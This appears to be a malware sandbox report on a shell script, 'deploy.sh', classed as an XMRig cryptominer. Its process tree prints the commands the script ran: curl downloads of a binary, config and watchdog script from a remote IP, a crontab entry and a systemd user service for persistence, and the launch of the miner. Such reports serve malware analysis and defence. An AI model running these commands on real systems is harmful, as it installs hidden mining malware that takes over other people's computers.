Overview

overview

10

Static

static

1

deploy.sh

ubuntu-18.04-amd64

10

deploy.sh

debian-9-armhf

10

deploy.sh

debian-9-mips

deploy.sh

debian-9-mipsel

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    10/07/2026, 13:27

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    deploy.sh
  • Size 13KB
  • Sample260710-qp6vsscv21
  • SHA256 9ea42b8381008979ba761ab7dddf54b2cedc8f0db5f42199fb35e4e12cd15260
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
antivmdefense_evasiondiscoveryexecutionxmrigminerpersistenceprivilege_escalation

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 2 IoCs
    miner
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

    antivm
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

    discovery
  • Changes its process name 4 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads CPU attributes 1 TTPs 47 IoCs
    discovery
  • Enumerates kernel/hardware configuration 1 TTPs 24 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/deploy.sh
    /tmp/deploy.sh
    1⤵
    • Writes file to tmp directory
    PID:1478
    • /usr/bin/curl
      curl http://45.225.135.18:4849
      2⤵
        PID:1479
      • /bin/mkdir
        mkdir -p /softwaretechreview
        2⤵
          PID:1484
        • /bin/date
          date "+%Y-%m-%d %H:%M:%S"
          2⤵
            PID:1485
          • /bin/hostname
            hostname
            2⤵
              PID:1487
            • /bin/date
              date "+%Y-%m-%d %H:%M:%S"
              2⤵
                PID:1488
              • /bin/date
                date "+%Y-%m-%d %H:%M:%S"
                2⤵
                  PID:1489
                • /bin/date
                  date "+%Y-%m-%d %H:%M:%S"
                  2⤵
                    PID:1490
                  • /bin/date
                    date "+%Y-%m-%d %H:%M:%S"
                    2⤵
                      PID:1491
                    • /bin/mkdir
                      mkdir -p /softwaretechreview
                      2⤵
                        PID:1492
                      • /bin/date
                        date "+%Y-%m-%d %H:%M:%S"
                        2⤵
                          PID:1493
                        • /usr/bin/curl
                          curl -fsSL --retry 3 --retry-delay 5 http://45.225.135.18/softwaretech -o /softwaretechreview/softwaretech
                          2⤵
                            PID:1494
                          • /bin/date
                            date "+%Y-%m-%d %H:%M:%S"
                            2⤵
                              PID:1498
                            • /usr/bin/curl
                              curl -fsSL --retry 3 --retry-delay 5 http://45.225.135.18/deploy/config.json -o /softwaretechreview/config.json
                              2⤵
                                PID:1499
                              • /bin/date
                                date "+%Y-%m-%d %H:%M:%S"
                                2⤵
                                  PID:1500
                                • /usr/bin/curl
                                  curl -fsSL --retry 3 --retry-delay 5 http://45.225.135.18/watchsoftware.sh -o /softwaretechreview/watchsoftware.sh
                                  2⤵
                                    PID:1501
                                  • /bin/chmod
                                    chmod +x /softwaretechreview/softwaretech /softwaretechreview/watchsoftware.sh
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:1502
                                  • /bin/date
                                    date "+%Y-%m-%d %H:%M:%S"
                                    2⤵
                                      PID:1503
                                    • /bin/date
                                      date "+%Y-%m-%d %H:%M:%S"
                                      2⤵
                                        PID:1504
                                      • /bin/grep
                                        grep -qF /softwaretechreview/watchsoftware.sh
                                        2⤵
                                          PID:1506
                                        • /usr/bin/crontab
                                          crontab -l
                                          2⤵
                                            PID:1505
                                          • /usr/bin/crontab
                                            crontab -
                                            2⤵
                                            • Creates/modifies Cron job
                                            PID:1508
                                          • /usr/bin/crontab
                                            crontab -l
                                            2⤵
                                              PID:1509
                                            • /bin/date
                                              date "+%Y-%m-%d %H:%M:%S"
                                              2⤵
                                                PID:1510
                                              • /bin/mkdir
                                                mkdir -p /.config/systemd/user
                                                2⤵
                                                  PID:1512
                                                • /bin/cat
                                                  cat
                                                  2⤵
                                                    PID:1513
                                                  • /bin/systemctl
                                                    systemctl --user daemon-reload
                                                    2⤵
                                                    • Reads runtime system information
                                                    PID:1514
                                                  • /bin/systemctl
                                                    systemctl --user enable softwaretech-watchdog.service
                                                    2⤵
                                                      PID:1515
                                                    • /bin/date
                                                      date "+%Y-%m-%d %H:%M:%S"
                                                      2⤵
                                                        PID:1516
                                                      • /bin/systemctl
                                                        systemctl --user start --no-block softwaretech-watchdog.service
                                                        2⤵
                                                        • Reads runtime system information
                                                        PID:1517
                                                      • /bin/date
                                                        date "+%Y-%m-%d %H:%M:%S"
                                                        2⤵
                                                          PID:1518
                                                        • /bin/date
                                                          date "+%Y-%m-%d %H:%M:%S"
                                                          2⤵
                                                            PID:1519
                                                          • /bin/date
                                                            date "+%Y-%m-%d %H:%M:%S"
                                                            2⤵
                                                              PID:1520
                                                            • /bin/date
                                                              date "+%Y-%m-%d %H:%M:%S"
                                                              2⤵
                                                                PID:1521
                                                              • /bin/date
                                                                date "+%Y-%m-%d %H:%M:%S"
                                                                2⤵
                                                                  PID:1523
                                                                • /bin/bash
                                                                  bash /softwaretechreview/watchsoftware.sh
                                                                  2⤵
                                                                  • Executes dropped EXE
                                                                  PID:1522
                                                                  • /bin/cat
                                                                    cat /softwaretechreview/watchdog.pid
                                                                    3⤵
                                                                      PID:1526
                                                                    • /bin/grep
                                                                      grep -q "^[0-9][0-9]*\$"
                                                                      3⤵
                                                                        PID:1528
                                                                      • /bin/mkdir
                                                                        mkdir -p /softwaretechreview
                                                                        3⤵
                                                                          PID:1529
                                                                        • /bin/date
                                                                          date "+%Y-%m-%d %H:%M:%S"
                                                                          3⤵
                                                                            PID:1530
                                                                          • /bin/date
                                                                            date "+%Y-%m-%d %H:%M:%S"
                                                                            3⤵
                                                                              PID:1531
                                                                            • /bin/date
                                                                              date "+%Y-%m-%d %H:%M:%S"
                                                                              3⤵
                                                                                PID:1532
                                                                              • /bin/grep
                                                                                grep -q "^softwaretech\$"
                                                                                3⤵
                                                                                  PID:1534
                                                                                • /bin/ps
                                                                                  ps -e -o comm
                                                                                  3⤵
                                                                                  • Reads CPU attributes
                                                                                  • Reads runtime system information
                                                                                  PID:1533
                                                                                • /bin/date
                                                                                  date "+%Y-%m-%d %H:%M:%S"
                                                                                  3⤵
                                                                                    PID:1535
                                                                                  • /bin/date
                                                                                    date "+%Y-%m-%d %H:%M:%S"
                                                                                    3⤵
                                                                                      PID:1537
                                                                                    • /softwaretechreview/softwaretech
                                                                                      ./softwaretech --config config.json
                                                                                      3⤵
                                                                                      • Checks hardware identifiers (DMI)
                                                                                      • Reads hardware information
                                                                                      • Changes its process name
                                                                                      • Checks CPU configuration
                                                                                      • Reads CPU attributes
                                                                                      • Enumerates kernel/hardware configuration
                                                                                      PID:1536
                                                                                    • /bin/sleep
                                                                                      sleep 15
                                                                                      3⤵
                                                                                        PID:1538
                                                                                      • /bin/cat
                                                                                        cat /softwaretechreview/softwaretech.pid
                                                                                        3⤵
                                                                                          PID:1546
                                                                                        • /bin/grep
                                                                                          grep -q "^[0-9][0-9]*\$"
                                                                                          3⤵
                                                                                            PID:1548
                                                                                          • /bin/sleep
                                                                                            sleep 15
                                                                                            3⤵
                                                                                              PID:1549
                                                                                            • /bin/cat
                                                                                              cat /softwaretechreview/softwaretech.pid
                                                                                              3⤵
                                                                                                PID:1554
                                                                                              • /bin/grep
                                                                                                grep -q "^[0-9][0-9]*\$"
                                                                                                3⤵
                                                                                                  PID:1556
                                                                                                • /bin/sleep
                                                                                                  sleep 15
                                                                                                  3⤵
                                                                                                    PID:1557
                                                                                                  • /bin/cat
                                                                                                    cat /softwaretechreview/softwaretech.pid
                                                                                                    3⤵
                                                                                                      PID:1559
                                                                                                    • /bin/grep
                                                                                                      grep -q "^[0-9][0-9]*\$"
                                                                                                      3⤵
                                                                                                        PID:1561
                                                                                                      • /bin/sleep
                                                                                                        sleep 15
                                                                                                        3⤵
                                                                                                          PID:1562
                                                                                                        • /bin/cat
                                                                                                          cat /softwaretechreview/softwaretech.pid
                                                                                                          3⤵
                                                                                                            PID:1564
                                                                                                          • /bin/grep
                                                                                                            grep -q "^[0-9][0-9]*\$"
                                                                                                            3⤵
                                                                                                              PID:1566
                                                                                                            • /bin/sleep
                                                                                                              sleep 15
                                                                                                              3⤵
                                                                                                                PID:1567
                                                                                                              • /bin/cat
                                                                                                                cat /softwaretechreview/softwaretech.pid
                                                                                                                3⤵
                                                                                                                  PID:1569
                                                                                                                • /bin/grep
                                                                                                                  grep -q "^[0-9][0-9]*\$"
                                                                                                                  3⤵
                                                                                                                    PID:1571
                                                                                                                  • /bin/sleep
                                                                                                                    sleep 15
                                                                                                                    3⤵
                                                                                                                      PID:1572
                                                                                                                    • /bin/cat
                                                                                                                      cat /softwaretechreview/softwaretech.pid
                                                                                                                      3⤵
                                                                                                                        PID:1574
                                                                                                                      • /bin/grep
                                                                                                                        grep -q "^[0-9][0-9]*\$"
                                                                                                                        3⤵
                                                                                                                          PID:1576
                                                                                                                        • /bin/sleep
                                                                                                                          sleep 15
                                                                                                                          3⤵
                                                                                                                            PID:1577
                                                                                                                          • /bin/cat
                                                                                                                            cat /softwaretechreview/softwaretech.pid
                                                                                                                            3⤵
                                                                                                                              PID:1579
                                                                                                                            • /bin/grep
                                                                                                                              grep -q "^[0-9][0-9]*\$"
                                                                                                                              3⤵
                                                                                                                                PID:1581
                                                                                                                              • /bin/sleep
                                                                                                                                sleep 15
                                                                                                                                3⤵
                                                                                                                                  PID:1582
                                                                                                                                • /bin/cat
                                                                                                                                  cat /softwaretechreview/softwaretech.pid
                                                                                                                                  3⤵
                                                                                                                                    PID:1584
                                                                                                                                  • /bin/grep
                                                                                                                                    grep -q "^[0-9][0-9]*\$"
                                                                                                                                    3⤵
                                                                                                                                      PID:1586
                                                                                                                                    • /bin/sleep
                                                                                                                                      sleep 15
                                                                                                                                      3⤵
                                                                                                                                        PID:1587
                                                                                                                                      • /bin/cat
                                                                                                                                        cat /softwaretechreview/softwaretech.pid
                                                                                                                                        3⤵
                                                                                                                                          PID:1589
                                                                                                                                        • /bin/grep
                                                                                                                                          grep -q "^[0-9][0-9]*\$"
                                                                                                                                          3⤵
                                                                                                                                            PID:1591
                                                                                                                                          • /bin/sleep
                                                                                                                                            sleep 15
                                                                                                                                            3⤵
                                                                                                                                              PID:1592
                                                                                                                                          • /bin/date
                                                                                                                                            date "+%Y-%m-%d %H:%M:%S"
                                                                                                                                            2⤵
                                                                                                                                              PID:1524

                                                                                                                                          Network

                                                                                                                                                MITRE ATT&CK Enterprise v16

                                                                                                                                                Replay Monitor

                                                                                                                                                Loading Replay Monitor...

                                                                                                                                                Downloads

                                                                                                                                                cert_key.pem
                                                                                                                                                • Path /softwaretechreview/cert_key.pem
                                                                                                                                                • Size 1KB
                                                                                                                                                • SHA256 b28a1d3224cd9a26c60c1f67169fe7d62d35852ba3f64c574be7426d94279787
                                                                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                                                                Submit Download

                                                                                                                                                config.json
                                                                                                                                                • Path /softwaretechreview/config.json
                                                                                                                                                • Size 7KB
                                                                                                                                                • SHA256 2b746f4eb445e71d1836dea490330a582954890a9c9a6c8f11522bde1326981f
                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                Submit Download

                                                                                                                                                config.json
                                                                                                                                                • Path /softwaretechreview/config.json
                                                                                                                                                • Size 6KB
                                                                                                                                                • SHA256 dd6d8856f3ac5aa006cef59b1c3aa5ec54b0b7ae3d74fffc43a3d64268d1508a
                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                Submit Download

                                                                                                                                                deploy.log
                                                                                                                                                • Path /softwaretechreview/deploy.log
                                                                                                                                                • Size 78B
                                                                                                                                                • SHA256 9408a9972332d2595883c158a25552346ad5e7df0bddc42c10daccb3c99ea9c0
                                                                                                                                                • MD5 SHA1 SHA512
                                                                                                                                                Submit Download

                                                                                                                                                deploy.log
                                                                                                                                                • Path /softwaretechreview/deploy.log
                                                                                                                                                • Size 165B
                                                                                                                                                • SHA256 8eb6a6ec3bfe1def3d1ab4390956c0d1055b5cae88ebfa2d712363fe5cbad209
                                                                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                                                                Submit Download

                                                                                                                                                deploy.log
                                                                                                                                                • Path /softwaretechreview/deploy.log
                                                                                                                                                • Size 243B
                                                                                                                                                • SHA256 02e59c530665a8258342883d0acf7a4b156e6091a337777ae6b3a99f8c0e7954
                                                                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                                                                Submit Download

                                                                                                                                                deploy.log
                                                                                                                                                • Path /softwaretechreview/deploy.log
                                                                                                                                                • Size 324B
                                                                                                                                                • SHA256 b8c9a7725a32f99e06f6f87b34f085210c051652c8fdb0d2716cd0b0dea6f18d
                                                                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                                                                Submit Download

                                                                                                                                                deploy.log
                                                                                                                                                • Path /softwaretechreview/deploy.log
                                                                                                                                                • Size 1KB
                                                                                                                                                • SHA256 1be646ca7d64de46d2e4ecf6e751ee616feee2a31edb1103233ad1f5aa66049a
                                                                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                                                                Submit Download

                                                                                                                                                log.log
                                                                                                                                                • Path /softwaretechreview/log.log
                                                                                                                                                • Size 3KB
                                                                                                                                                • SHA256 06572383a2eacb4979b79ee695d254c3f5ab2bc9bb0735ed81090f6b400fa1ff
                                                                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                                                                Submit Download

                                                                                                                                                softwaretech
                                                                                                                                                • Path /softwaretechreview/softwaretech
                                                                                                                                                • Size 8.0MB
                                                                                                                                                • SHA256 b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49
                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                Submit Download

                                                                                                                                                watchdog.pid
                                                                                                                                                • Path /softwaretechreview/watchdog.pid
                                                                                                                                                • Size 5B
                                                                                                                                                • SHA256 0e4a9b514fefa0a25a6ccb2ac2f161de94bd08936cceb4770e79ed39192a08bd
                                                                                                                                                • MD5 SHA1 SHA512
                                                                                                                                                Submit Download

                                                                                                                                                watchsoftware.sh
                                                                                                                                                • Path /softwaretechreview/watchsoftware.sh
                                                                                                                                                • Size 4KB
                                                                                                                                                • SHA256 c8844ac426e19246c8a73b9952deda131b6bb452fafe4dbb984a8895914a9046
                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                Submit Download

                                                                                                                                                sh-thd.jKMNs9
                                                                                                                                                • Path /tmp/sh-thd.jKMNs9
                                                                                                                                                • Size 373B
                                                                                                                                                • SHA256 707a96429c20b62afc685b8e007b43f9fbd891c5b5caf45fc27f67314cd5ac96
                                                                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                                                                Submit Download

                                                                                                                                                tmp.OmhAg5
                                                                                                                                                • Path /var/spool/cron/crontabs/tmp.OmhAg5
                                                                                                                                                • Size 283B
                                                                                                                                                • SHA256 fb4a7340aa8b2f28abe08fdf8cb03bf45e1857451b33b5f5e510d07ce6ae8599
                                                                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                                                                Submit Download